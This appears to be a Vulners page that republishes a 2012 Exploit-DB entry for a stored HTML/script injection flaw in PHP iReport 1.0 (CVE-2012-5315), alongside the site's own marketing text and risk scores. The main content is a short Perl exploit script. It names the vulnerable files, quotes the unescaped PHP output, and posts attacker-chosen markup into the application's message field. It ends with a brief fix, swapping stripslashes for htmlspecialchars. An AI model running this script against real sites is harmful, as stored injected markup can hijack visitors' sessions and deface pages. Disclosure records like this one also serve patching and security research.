Lucene search
+L

PHP iReport 1.0 - Remote Html Code Injection

🗓️ 21 Jan 2012 00:00:00Reported by Or4nG.M4NType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

PHP iReport 1.0 Remote Html Code Injectio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2012-5315
21 Jan 201200:00
circl
CVE
CVE-2012-5315
8 Oct 201217:00
cve
Cvelist
CVE-2012-5315
8 Oct 201217:00
cvelist
EUVD
EUVD-2012-5238
7 Oct 202500:30
euvd
NVD
CVE-2012-5315
8 Oct 201217:55
nvd
Prion
Cross site scripting
8 Oct 201217:55
prion
#!/usr/bin/perl
########################################################################
# Title    = phpireport v1.0 => Remote Html Code injection
# Author   = Or4nG.M4n
# Download = http://garr.dl.sourceforge.net/project/phpireport/phpireport%20v1.0%20alpha%20revision%2025.rar
# Thnks :
# +----------------------------------+
# |   xSs m4n   i-Hmx   h311 c0d3    |
# |   Dr.Bnned ahwak2000 sa^Dev!L    |
# +----------------------------------+
#
#	                                 Html injection
# vuln : messages_viewer.php
# vuln : home.php
# vuln : history.php
# code :
#
#	echo "
#		<li>
#			<div class='post-details'><div style='float:left'>user: ".stripslashes($name)."</div> <div style='float:right'>".$time."</div></div>
#			<br>
#			<div class='post-details'>".stripslashes($message)."</div>
#		</li>
#	";
# How i can Fixed ..
# in all vuln file
# Replace : stripslashes => Replace with => htmlspecialchars
# Thnks to All Stupid Coders
#
use LWP::UserAgent;

print "Code to inject #";
my $inj = <STDIN>;
chomp $inj;
my $url = 'http://localhost/phpireport/index.php';

my $ua       = LWP::UserAgent->new();
my $response = $ua->post( $url, { 'message' => $inj } ); # Post <textarea rows='2' name='message' id='name'>&lt;/textarea&gt;
my $content  = $response->decoded_content();
print "\n done \n";

# The End

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Mar 2012 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 24.3
EPSS0.01613
31